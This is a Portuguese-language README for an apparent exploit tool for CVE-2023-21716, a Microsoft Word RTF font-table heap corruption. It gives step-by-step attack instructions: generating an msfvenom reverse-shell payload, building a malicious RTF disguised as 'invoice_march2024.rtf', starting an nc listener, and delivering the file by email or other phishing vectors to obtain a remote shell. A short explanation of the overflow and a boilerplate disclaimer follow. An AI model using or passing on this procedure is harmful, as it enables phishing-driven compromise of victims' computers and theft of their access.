CVE-2023-21716 — Corrupção de Heap no fonttbl RTF do Microsoft Word RCE

Gravidade: Crítica (CVSS 9.8)
Afetado: Microsoft Word 2013 / 2016 / 2019 / 2021 (não corrigido)
Correção: Microsoft Patch Tuesday de fevereiro de 2023
Autor: REGGYRAIDER

Visão Geral da Vulnerabilidade

CVE-2023-21716 é uma vulnerabilidade de corrupção de heap no analisador RTF do Microsoft Word (wwlib.dll).
Quando o Word analisa uma diretiva \fonttbl contendo mais de 32.767 entradas de fonte, um contador interno de 16 bits com sinal transborda, corrompendo metadados do heap. Isso permite que um atacante obtenha Execução Remota de Código simplesmente enviando à vítima um arquivo .rtf manipulado.

Sem macros. Nenhuma interação do usuário além de abrir o arquivo.

Configuração e Exploração

Passo 1 — Gerar shellcode bruto com msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

Passo 2 — Clonar este repositório

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

Passo 3 — Construir o RTF malicioso

python3 exploit.py payload.bin invoice_march2024.rtf

Passo 4 — Iniciar seu listener

nc -lvnp 4444

Passo 5 — Entregar o arquivo

Carregue via SMB, anexo de e-mail ou qualquer vetor de phishing.
Quando a vítima abre invoice_march2024.rtf em um Word não corrigido, você recebe uma reverse shell.

Como Funciona

Atacante cria RTF             Word analisa \fonttbl        Heap corrompido
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl com 32769+          Contador assinado 16-bit     Shellcode do
definições de fonte          transborda → 0x8000          atacante executado

1. O exploit incorpora 32.769 definições de fonte \f<N> dentro de \fonttbl.
2. O Word aloca um buffer de tamanho fixo baseado no contador (agora transbordado).
3. As escritas de fonte subsequentes vão além do buffer alocado, corrompendo chunks adjacentes do heap.
4. O shellcode bruto (de payload.bin) é colocado dentro de \pict e cai na região corrompida, ganhando execução quando o alocador o processa.

Aviso Legal

Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados.
Usar este exploit contra sistemas que você não possui ou que não tem permissão explícita por escrito para testar é ilegal.
O autor não assume responsabilidade por uso indevido.

Referências

• Comunicado de Segurança da Microsoft
• Entrada NVD